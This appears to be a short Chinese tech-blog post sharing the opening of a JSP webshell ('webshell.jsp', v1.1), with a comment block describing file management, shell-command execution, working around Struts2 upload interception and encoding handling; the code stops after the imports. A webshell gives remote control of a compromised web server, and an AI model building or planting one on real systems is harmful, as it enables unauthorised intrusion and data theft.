webshell(jsp版)修改简单的文件管理,可执行shell

技术2022-08-07 28

<%/** websell V1.1 windows platform @Filename： webshell.jsp 时间:2011-01-11 因struts2拦截,所以须MultiPartRequestWrapper来取得上传的文件流,原request.getInputStream()无法读取数据 1.当执行命令,因cmd/shell命令与文件管理冲突,需要设置成空值进行. String mp=strCmd ;//增加临时变量,设置成空串,结束时再转化回原值 2.文件排序,在linux下排序不正常时,用以下方法对文件列表排序. Arrays.sort(list); 3.调用MultiPartRequestWrapper上传文件 4.对于zip上传因为是字节型式,所以不存在编码问题,如果是文本则需要转化:本地是gbk,服务端是utf8. */%><%@page contentType="text/html;charset=utf-8"%><%@page import="java.io.*,java.util.*" %>
